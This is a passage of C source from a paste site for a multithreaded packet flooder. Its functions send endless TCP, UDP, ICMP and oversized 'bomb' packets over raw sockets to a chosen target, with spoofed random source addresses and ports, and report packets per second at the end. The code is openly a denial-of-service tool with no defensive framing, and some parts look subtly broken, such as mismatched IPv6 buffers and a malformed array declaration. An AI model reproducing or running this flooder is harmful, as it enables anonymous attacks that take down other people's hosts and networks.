  801.             if  (param2->th_flags == TCP_SYN)
  802.                 packet.tcp.th_ack       =   1;
  803.             else
  804.             packet.tcp.th_ack       =   0;                 
  805.  
  806.            packet.tcp.th_flags      =   param2->th_flags;
  807.             packet.tcp.th_off           =   5;
  808.  
  809.             if  (param2->th_flags == TCP_URG)
  810.                packet.tcp.th_urp        =   1;
  811.             else
  812.                 packet.tcp.th_urp       =   0;
  813.  
  814.            packet.tcp.th_sport      =   thread_data_array[0].s_lport == 0 ?
  815.                                             random () :
  816.                                             htons(thread_data_array[0].s_lport + (random() %
  817.                                                     (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  818.    
  819.            packet.tcp.th_dport      =   thread_data_array[0].d_lport == 0 ?
  820.                                             random () :
  821.                                          htons(thread_data_array[0].d_lport + (random() %
  822.                                                     (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  823.    
  824.            checksum.tcp              =  packet.tcp;
  825.            packet.tcp.th_sum        =   in_cksum((void *)&checksum, sizeof(checksum));
  826.             param2->packets++;
  827.         } while ( sendto(param2->socket, &packet, (sizeof packet),
  828.                          0, (struct sockaddr *)&thread_data_array[0].destination4,
  829.                          sizeof(thread_data_array[0].destination4)) );
  830.     }
  831.     if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  832.     {
  833.         do     
  834.         {
  835.             /* Filling IP header */
  836.             memset(&packet6, 0, sizeof packet6);
  837.             inject6(&packet6.ip, IPPROTO_TCP, FIX(sizeof packet6));
  838.  
  839.             /* Filling cksum pseudo header */
  840.             checksum.pseudo.daddr       =   thread_data_array[0].dstaddr;
  841.             checksum.pseudo.mbz       =     0;
  842.             checksum.pseudo.ptcl    =   IPPROTO_TCP;
  843.             checksum.pseudo.tcpl        =   sizeof(struct tcphdr);
  844.  
  845.             /* Filling TCP header */
  846.             packet6.tcp.th_win          =   htons(65535);
  847.            packet6.tcp.th_seq           =   random();
  848.             //packet6.tcp.th_x2         =   4;
  849.  
  850.             if  (param2->th_flags == TCP_ACK)
  851.                 packet6.tcp.th_ack      =   1;
  852.             else
  853.                 packet6.tcp.th_ack      =   0;     
  854.  
  855.            packet6.tcp.th_flags         =   param2->th_flags;
  856.             packet6.tcp.th_off          =   5;
  857.  
  858.             if  (param2->th_flags == TCP_URG)
  859.                 packet6.tcp.th_urp     =    1;
  860.             else
  861.                 packet6.tcp.th_urp     =    0;
  862.  
  863.            packet6.tcp.th_sport         =   thread_data_array[0].s_lport == 0 ?
  864.                                             random () :
  865.                                             htons(thread_data_array[0].s_lport + (random() %
  866.                                                     (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  867.    
  868.            packet6.tcp.th_dport         =   thread_data_array[0].d_lport == 0 ?
  869.                                             random () :
  870.                                          htons(thread_data_array[0].d_lport + (random() %
  871.                                                     (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  872.    
  873.            checksum.tcp              =  packet.tcp;
  874.            packet6.tcp.th_sum           =   in_cksum((void *)&checksum, sizeof(checksum));
  875.  
  876.             param2->packets++;
  877.         } while ( sendto(param2->socket, &packet6.tcp, (sizeof packet6),
  878.                          0, (struct sockaddr *)&thread_data_array[0].destination6,
  879.                          sizeof(thread_data_array[0].destination6)) );
  880.     }
  881.     return 0;
  882. }
  883. void *send_bomb(void* arg)
  884. {  
  885.     struct thread_data *param2  = arg;
  886.  
  887.    struct checksum checksum;
  888.    struct packet
  889.     {
  890.       struct ip ip;
  891.     struct tcphdr tcp;
  892.       struct udphdr udp;    
  893.     char buf[param2->bombsize];
  894.    } packet;
  895.  
  896.    struct packet6
  897.     {
  898.     struct ip6_hdr ip;
  899.       struct tcphdr tcp;
  900.       struct udphdr udp;      
  901.     char buf[param2->bombsize];      
  902.    } packet6;
  903.  
  904.     if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  905.     {
  906.         if(param2->a_flags      == TCP_BMB)
  907.             param2->socket = socket(AF_INET, SOCK_RAW,  IPPROTO_TCP);
  908.         else if(param2->a_flags == UDP_BMB)
  909.             param2->socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 
  910.         else if(param2->a_flags == RAW_BMB)
  911.             param2->socket = socket(AF_INET, SOCK_RAW,  IPPROTO_RAW);                          
  912.     }
  913.     else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  914.     {
  915.         if(param2->a_flags      == TCP_BMB)
  916.             param2->socket = socket(AF_INET6, SOCK_RAW,     IPPROTO_TCP);
  917.         else if(param2->a_flags == UDP_BMB)
  918.             param2->socket = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
  919.         else if(param2->a_flags == RAW_BMB)
  920.             param2->socket = socket(AF_INET6, SOCK_RAW,     IPPROTO_RAW);  
  921.     }
  922.    
  923.     int i;
  924.     for (i = sizeof(packet) + 1; i < (param2->bombsize); i++)
  925.     {
  926.             packet.buf[i] = '\x00';
  927.     }
  928.    
  929.     if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  930.         connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination4, sizeof(struct sockaddr_in));
  931.     else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  932.         connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination6, sizeof(struct sockaddr_in6));
  933.  
  934.     printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  935.  
  936.     signal(SIGALRM, handle_exit);  
  937.     alarm(thread_data_array[0].timeout);
  938.     do     
  939.     {
  940.         if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  941.         {
  942.             if(param2->a_flags == TCP_BMB || param2->a_flags == RAW_BMB)   
  943.             {
  944.                 /* Filling IP header */
  945.                 memset(&packet, 0, sizeof packet);
  946.                 inject(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
  947.    
  948.                 packet.ip.ip_sum           =    in_cksum((void *)&packet.ip, sizeof(packet));
  949.  
  950.                 /* Filling cksum pseudo header */
  951.                 checksum.pseudo.daddr       =   thread_data_array[0].dstaddr;
  952.                 checksum.pseudo.mbz         =   0;
  953.  
  954.                 if(param2->a_flags == TCP_BMB)     
  955.                     checksum.pseudo.ptcl    =   IPPROTO_TCP;
  956.                 else if(param2->a_flags == RAW_BMB)
  957.                     checksum.pseudo.ptcl    =   IPPROTO_RAW;
  958.                                    
  959.                 checksum.pseudo.tcpl        =   sizeof(struct tcphdr);
  960.                 checksum.pseudo.saddr       =   packet.ip.ip_src.s_addr;
  961.  
  962.                 /* Filling TCP header */
  963.             packet.tcp.th_win           =   htons(65535);
  964.                 packet.tcp.th_seq           =   random();
  965.    
  966.             packet.tcp.th_off           =   5;  
  967.        
  968.                 //thread_data_array[0].destination4.sin_port = htons(113);         
  969.            
  970.                 checksum.tcp              =     packet.tcp;
  971.                 //packet.tcp.th_sum         =   in_cksum((void *)&checksum, sizeof(checksum));
  972.             }
  973.             else if(param2->a_flags == UDP_BMB)
  974.             {
  975.             /* Filling IP header */
  976.             memset(&packet, 0, sizeof packet);
  977.             inject(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  978.    
  979.                 packet.ip.ip_sum            =   in_cksum((void *)&packet.ip, sizeof(packet));
  980.  
  981.             /* Filling UDP header */
  982.            
  983.             packet.udp.uh_ulen          =   htons(sizeof packet.udp);
  984.             packet.udp.uh_sum           =   0;
  985.                 //packet.udp.uh_sum             =   in_cksum((void *)&packet, sizeof(packet)); 
  986.                 packet.udp.uh_sum           =   xchecksum((void *)&packet, sizeof(packet));                                                                
  987.            }           
  988.         }
  989.         else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  990.         {
  991.             if(param2->a_flags == TCP_BMB || param2->a_flags == RAW_BMB)   
  992.             {
  993.                 /* Filling IP header */
  994.                 memset(&packet6, 0, sizeof packet6);
  995.                 inject6(&packet6.ip, IPPROTO_TCP, FIX(sizeof packet6));
  996.  
  997.             /* Filling cksum pseudo header */
  998.             checksum.pseudo.daddr       =   thread_data_array[0].dstaddr;
  999.             checksum.pseudo.mbz         =   0;
  1000.            
  1001.                 if(param2->a_flags == TCP_BMB)     
  1002.                     checksum.pseudo.ptcl    =   IPPROTO_TCP;
  1003.                 else if(param2->a_flags == RAW_BMB)
  1004.                     checksum.pseudo.ptcl    =   IPPROTO_RAW;
  1005.                    
  1006.             checksum.pseudo.tcpl        =   sizeof(struct tcphdr);
  1007.  
  1008.             /* Filling TCP header */
  1009.                 packet6.tcp.th_win          =   htons(65535);
  1010.             packet6.tcp.th_seq          =   random();              
  1011.             }  
  1012.             else if(param2->a_flags == UDP_BMB)
  1013.             {
  1014.             /* Filling IP header */
  1015.             memset(&packet6, 0, sizeof packet6);
  1016.             inject6(&packet6.ip, IPPROTO_UDP, FIX(sizeof packet6));
  1017.    
  1018.             /* Filling UDP header */
  1019.  
  1020.             packet6.udp.uh_ulen         =   htons(sizeof packet6.udp);
  1021.             packet6.udp.uh_sum          =   0;
  1022.                 //packet6.udp.uh_sum            =   in_cksum((void *)&packet6, sizeof(packet6));
  1023.                 packet6.udp.uh_sum          =   xchecksum((void *)&packet6, sizeof(packet6));                                                                                                  
  1024.             }                  
  1025.         }      
  1026.         param2->packets++;
  1027.     } while ( send(param2->socket, &packet, sizeof(packet), 0) );
  1028.  
  1029.     return 0;
  1030. }
  1031. void *send_udp(void* arg)
  1032. {    
  1033.     struct thread_data *param2  = arg;
  1034.              
  1035.    struct packet
  1036.     {
  1037.         struct ip ip;
  1038.         struct udphdr udp;
  1039.     } packet;
  1040.  
  1041.    struct packet6
  1042.     {
  1043.         struct ip6_hdr ip;
  1044.         struct udphdr udp;
  1045.     } packet6;
  1046.  
  1047.     printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  1048.  
  1049.     signal(SIGALRM, handle_exit);  
  1050.     alarm(thread_data_array[0].timeout);
  1051.  
  1052.     if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  1053.     {
  1054.         do     
  1055.         {
  1056.            /* Filling IP header */
  1057.            memset(&packet, 0, sizeof packet);
  1058.            inject(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  1059.    
  1060.             packet.ip.ip_sum            =   in_cksum((void *)&packet.ip, sizeof(packet));
  1061.             /* Filling UDP header */
  1062.            packet.udp.uh_sport      =   thread_data_array[0].s_lport == 0 ?
  1063.                                             random () :
  1064.                                          htons(thread_data_array[0].s_lport + (random() %
  1065.                                                     (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  1066.  
  1067.            packet.udp.uh_dport      =   thread_data_array[0].d_lport == 0 ?
  1068.                                             random () :
  1069.                                          htons(thread_data_array[0].d_lport + (random() %
  1070.                                                     (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  1071.  
  1072.            packet.udp.uh_ulen           =   htons(sizeof packet.udp);
  1073.            packet.udp.uh_sum            =   0;
  1074.            //packet.udp.uh_sum          =   in_cksum((void *)&packet, sizeof(packet));
  1075.            packet.udp.uh_sum                =  xchecksum((void *)&packet, sizeof(packet));
  1076.  
  1077.             param2->packets++;
  1078.         } while ( sendto(param2->socket, &packet, (sizeof packet),
  1079.                          0, (struct sockaddr *)&thread_data_array[0].destination4,
  1080.                          sizeof(thread_data_array[0].destination4)) );
  1081.     }
  1082.     else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  1083.     {
  1084.         do     
  1085.         {
  1086.            /* Filling IP header */
  1087.            memset(&packet6, 0, sizeof packet6);
  1088.            inject6(&packet6.ip, IPPROTO_UDP, FIX(sizeof packet6));
  1089.    
  1090.            /* Filling UDP header */
  1091.            packet6.udp.uh_sport         =   thread_data_array[0].s_lport == 0 ?
  1092.                                             random () :
  1093.                                          htons(thread_data_array[0].s_lport + (random() %
  1094.                                                     (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  1095.  
  1096.            packet6.udp.uh_dport     =   thread_data_array[0].d_lport == 0 ?
  1097.                                             random () :
  1098.                                          htons(thread_data_array[0].d_lport + (random() %
  1099.                                                     (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  1100.  
  1101.            packet6.udp.uh_ulen          =   htons(sizeof packet6.udp);
  1102.            packet6.udp.uh_sum        =  0;
  1103.             //packet6.udp.uh_sum            =   in_cksum((void *)&packet6, sizeof(packet6));
  1104.            packet6.udp.uh_sum               =  xchecksum((void *)&packet6, sizeof(packet6));
  1105.  
  1106.             param2->packets++;
  1107.         } while ( sendto(param2->socket, &packet6, (sizeof packet6),
  1108.                          0, (struct sockaddr *)&thread_data_array[0].destination6,
  1109.                          sizeof(thread_data_array[0].destination6)) ); 
  1110.     }
  1111.     return 0;
  1112. }
  1113. void *send_icmp(void* arg)
  1114. {
  1115.  
  1116.     struct thread_data *param2  = arg;
  1117.  
  1118.    struct packet
  1119.     {
  1120.         struct ip ip;
  1121.       struct icmp icmp;
  1122.    } packet;
  1123.  
  1124.     struct packet6
  1125.     {
  1126.         struct ip6_hdr ip;
  1127.         struct icmp6_hdr icmp;
  1128.    } packet6;
  1129.  
  1130.     printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  1131.  
  1132.     signal(SIGALRM, handle_exit);  
  1133.     alarm(thread_data_array[0].timeout);
  1134.  
  1135.     if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  1136.     {
  1137.         do     
  1138.         {
  1139.            /* Filling IP header */
  1140.         memset(&packet, 0, sizeof packet);
  1141.            inject(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
  1142.         packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);
  1143.  
  1144.            /* Filling ICMP header */
  1145.         packet.icmp.icmp_type       = ICMP_ECHO;
  1146.            packet.icmp.icmp_code       = 0;
  1147.            packet.icmp.icmp_cksum      = htons( ~(ICMP_ECHO << 8));
  1148.  
  1149.             param2->packets++;
  1150.         } while ( sendto(   param2->socket, &packet, (sizeof packet),
  1151.                             0, (struct sockaddr *)&thread_data_array[0].destination4,
  1152.                         sizeof(thread_data_array[0].destination4)) );
  1153.     }
  1154.     else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  1155.     {
  1156.         do     
  1157.         {
  1158.            /* Filling IP header */
  1159.         memset(&packet6, 0, sizeof packet6);
  1160.  
  1161.            inject6(&packet6.ip, IPPROTO_ICMPV6, FIX(sizeof packet6));
  1162.  
  1163.             /* Filling ICMP header */
  1164.         packet6.icmp.icmp6_type         = ICMP6_ECHO_REQUEST;
  1165.            packet6.icmp.icmp6_code          = 0;
  1166.             packet6.icmp.icmp6_id           = random();
  1167.             packet6.icmp.icmp6_seq          = random();
  1168.  
  1169.             packet6.icmp.icmp6_cksum        = 0;
  1170.             //packet6.icmp.icmp6_cksum  = in_cksum((void *)&packet6, sizeof(packet6));
  1171.             packet6.icmp.icmp6_cksum        = xchecksum((void *)&packet6, sizeof(packet6));
  1172.  
  1173.             param2->packets++;
  1174.         } while ( sendto(   param2->socket, &packet6.icmp, (sizeof packet6),
  1175.                             0, (struct sockaddr *)&thread_data_array[0].destination6,
  1176.                         sizeof(thread_data_array[0].destination6)) );  
  1177.     }
  1178.     return 0;
  1179. }
  1180. void
  1181. inject(struct ip *ip, u_char p, u_char len)
  1182. {
  1183.    /* Filling IP header */
  1184.    ip->ip_hl             = 5;
  1185.    ip->ip_v              = 4;
  1186.    ip->ip_p              = p;
  1187.    ip->ip_tos            = 0x08; /* 0x08 */
  1188.    ip->ip_id             = random();
  1189.    ip->ip_len            = len;
  1190.    ip->ip_off            = 0;
  1191.    ip->ip_ttl            = 255;
  1192.  
  1193.    ip->ip_dst.s_addr     = thread_data_array[0].dst_class != NULL ?
  1194.                             inet_addr(class2ip(thread_data_array[0].dst_class)) :
  1195.                             thread_data_array[0].dstaddr;
  1196.  
  1197.    ip->ip_src.s_addr     = thread_data_array[0].src_class != NULL ?
  1198.                             inet_addr(class2ip(thread_data_array[0].src_class)) :
  1199.                             random();
  1200.  
  1201.    thread_data_array[0].destination4.sin_addr.s_addr = ip->ip_dst.s_addr;
  1202. }
  1203.  
  1204. void
  1205. inject6(struct ip6_hdr *ip, u_char p, u_char len)
  1206. {
  1207.     ip->ip6_ctlun.ip6_un1.ip6_un1_flow  = htonl ((6 << 28) | (0 << 20) | 0);
  1208.  
  1209.     ip->ip6_ctlun.ip6_un1.ip6_un1_plen  = htons( 8 + len );
  1210.  
  1211.     ip->ip6_ctlun.ip6_un1.ip6_un1_nxt   = p;
  1212.     ip->ip6_ctlun.ip6_un1.ip6_un1_hlim  = 255;
  1213.  
  1214.     inet_pton (AF_INET6, thread_data_array[0].DestIP6,   &ip->ip6_dst);
  1215.     inet_pton (AF_INET6, thread_data_array[0].src_class, &ip->ip6_src);
  1216.  
  1217.     thread_data_array[0].destination6.sin6_addr = ip->ip6_dst;
  1218.  
  1219. }
  1220. char *src_class, *dst_class = NULL;
  1221. char *class2ip(const char *class)
  1222. {
  1223.     static char ip[INET_ADDR];
  1224.     int i, j;
  1225.  
  1226.     for (i = 0, j = 0; class[i] != '\0'; ++i)
  1227.         if (class[i] == '.')
  1228.             ++j;
  1229.  
  1230.     switch (j)
  1231.     {
  1232.         case 0:
  1233.             sprintf(ip, "%s.%d.%d.%d", class, (int) random() % 255+1, (int) random() % 255+1, (int) random() % 255+1);
  1234.             break;
  1235.         case 1:
  1236.             sprintf(ip, "%s.%d.%d", class, (int) random() % 255+1, (int) random() % 255+1);
  1237.             break;
  1238.         case 2:
  1239.             sprintf(ip, "%s.%d", class, (int) random() % 255+1);
  1240.             break;
  1241.  
  1242.         /* Spoofing single host */
  1243.         default: strncpy(ip, class, INET_ADDR);
  1244.                  break;
  1245.     }
  1246.     return ip;
  1247. }
  1248.  
  1249. char *class2ip6(const char *class)
  1250. {
  1251.     static char ip[INET6_ADDR];  
  1252.     uint16_t n;
  1253.  
  1254.     int x, y;
  1255.     for (x = 0, y = 0; class[x] != '\0'; ++x)
  1256.         if (class[x] == ':')
  1257.             ++y;
  1258.  
  1259.     int i;
  1260.     for (i = 0; i < 7; i++)
  1261.     {
  1262.         char hex[3][i];
  1263.         n = mrand48();                      // #1
  1264.         n = rand();                         // #2
  1265.         FILE * f = fopen("/dev/urandom", "rb");
  1266.         fread(&n, sizeof(uint16_t), 1, f);  // #3
  1267.         sprintf(hex[i], "%04X", n);
  1268.  
  1269.         if(i==0)
  1270.             strcpy(ip, class);
  1271.         strcat(ip, hex[i]);
  1272.         if(i<6)
  1273.             strcat(ip, ":");
  1274.     }
  1275.     return ip;
  1276.  
  1277. }
  1278. unsigned short
  1279. in_cksum(unsigned short *addr, int len)
  1280. {
  1281.     int nleft = len;
  1282.     int sum = 0;
  1283.     unsigned short *w = addr;
  1284.     unsigned short answer = 0;
  1285.  
  1286.     while (nleft > 1)
  1287.     {
  1288.         sum += *w++;
  1289.         nleft -= 2;
  1290.     }
  1291.  
  1292.     if (nleft == 1)
  1293.     {
  1294.         *(unsigned char *) (&answer) = *(unsigned char *)w;
  1295.         sum += answer;
  1296.     }
  1297.  
  1298.     sum    = (sum >> 16) + (sum & 0xffff);  /* add hi 16 to low 16 */
  1299.     sum   += (sum >> 16);                   /* add carry           */
  1300.     answer = ~sum;                          /* truncate to 16 bits */
  1301.  
  1302.     return answer;
  1303. }
  1304.  
  1305. unsigned short
  1306. xchecksum(unsigned short *buffer, int size) {
  1307.     unsigned int sum = 0;
  1308.     __asm__ __volatile__(
  1309.         "movl   (%1),   %0\n"
  1310.         "subl   $4,         %2\n"
  1311.         "jbe        2f\n"
  1312.         "addl   4(%1),  %0\n"
  1313.         "adcl   8(%1),  %0\n"
  1314.         "adcl   12(%1),     %0\n"
  1315.         "1:\n"
  1316.         "adcl   16(%1),     %0\n"
  1317.         "lea        4(%1),  %1\n"
  1318.         "decl   %2\n"
  1319.         "jne        1b\n"
  1320.         "adcl   $0,         %0\n"
  1321.         "movl   %0,         %2\n"
  1322.         "shrl   $16,        %0\n"
  1323.         "addw   %w2,        %w0\n"
  1324.         "adcl   $0,         %0\n"
  1325.         "notl   %0\n"
  1326.         "2:\n"
  1327.         : "=r" (sum),       "=r" (buffer),  "=r" (size)
  1328.         : "1"  (buffer),    "2"  (size)
  1329.     );
  1330.         return(sum);
  1331. }
  1332. void  handle_exit ()
  1333. {
  1334.     int packets;
  1335.  
  1336.     packets  = thread_data_array[1].packets
  1337.                 + thread_data_array[2].packets
  1338.                 + thread_data_array[4].packets
  1339.                 + thread_data_array[8].packets
  1340.                 + thread_data_array[16].packets
  1341.               + thread_data_array[32].packets
  1342.                 + thread_data_array[64].packets
  1343.                 + thread_data_array[128].packets
  1344.                 + thread_data_array[256].packets
  1345.                 + thread_data_array[512].packets   
  1346.                 + thread_data_array[1024].packets
  1347.                 + thread_data_array[2048].packets
  1348.                 + thread_data_array[4096].packets
  1349.                 + thread_data_array[8192].packets
  1350.                 + thread_data_array[16384].packets;
  1351.  
  1352.     printf ("Packeting completed, %d total, %d seconds, %d pps\n",  packets,
  1353.                                                                                             (int) time (NULL) - thread_data_array[0].start,
  1354.                                                                                             packets / ((int) time (NULL) - thread_data_array[0].start));
  1355.     exit (0);
  1356. }
  1357.  
  1358.  
  1359. u_long lookup(const char *host)
  1360. {
  1361.     struct hostent *hp;
  1362.  
  1363.     if ( (hp = gethostbyname(host)) == NULL)
  1364.     {
  1365.         perror("gethostbyname");
  1366.         exit(-1);
  1367.     }
  1368.  
  1369.     return *(u_long *)hp->h_addr;
  1370. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement